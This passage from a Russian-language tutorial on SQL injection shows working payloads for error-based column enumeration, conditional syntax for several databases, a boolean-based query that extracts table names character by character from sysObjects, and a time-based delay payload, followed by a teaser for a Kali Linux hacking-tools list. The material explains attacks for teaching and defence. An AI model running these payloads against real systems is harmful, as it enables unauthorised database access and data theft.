.....
' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 --
Если ошибки перестали появляться, значит столбцы закончились 
        

Слепые инъекции

В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.

Условные выражения

Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:

            #MySQL
IF(condition,true-part,false-part)
#SQL Server
IF condition true-part ELSE false-part
#Oracle
BEGIN
IF condition THEN true-part; ELSE false-part; END IF; END;
#PostgreSQL
SELECT CASE WHEN condition THEN true-part ELSE false-part END; 
        

Boolean-based

Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:

            TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND 
ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND 
name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--
#Этот запрос говорит нам, что ASCII-значение первого символа больше 78 
#дальнейший перебор определит точное значение  
        

Time-Based

Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:

            SELECT * FROM products WHERE id=1; WAIT FOR DELAY '00:00:15' 
        

Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.

Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.

Поделитесь в комментариях, каким стеком пользуетесь и как защищаете свой проект?

30
Ноя
2019

20 лучших инструментов для хакинга на Kali Linux

Увлекаетесь хакингом и пентестом? Держите подборку средств для аудита и взлома беспроводных сетей, проверки уязвимостей и разведки.

Удивительно, сколько людей заинтересовано в том, чтобы научиться взламыват…